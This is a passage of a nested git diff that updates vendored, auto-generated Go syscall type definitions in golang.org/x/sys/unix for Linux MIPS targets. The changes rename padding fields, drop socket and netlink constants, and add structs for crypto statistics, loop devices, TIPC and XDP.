-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Frsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Flags int64
-+ Spare [5]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go
-index 74c54213..4ed2c8e5 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,13 +81,6 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]int32
-@@ -115,141 +101,30 @@ type Stat_t struct {
- Pad5 [14]int32
- }
-
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Frsize int32
-- Pad_cgo_0 [4]byte
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int32
-- Flags int32
-- Spare [5]int32
-- Pad_cgo_1 [4]byte
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,41 +135,11 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -311,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -610,16 +194,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]int8
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [8]int8
- }
-
- type Ustat_t struct {
-@@ -637,37 +212,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -680,20 +232,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -705,13 +249,13 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -735,55 +279,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]int8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Frsize int32
-+ _ [4]byte
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Flags int32
-+ Spare [5]int32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x18
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
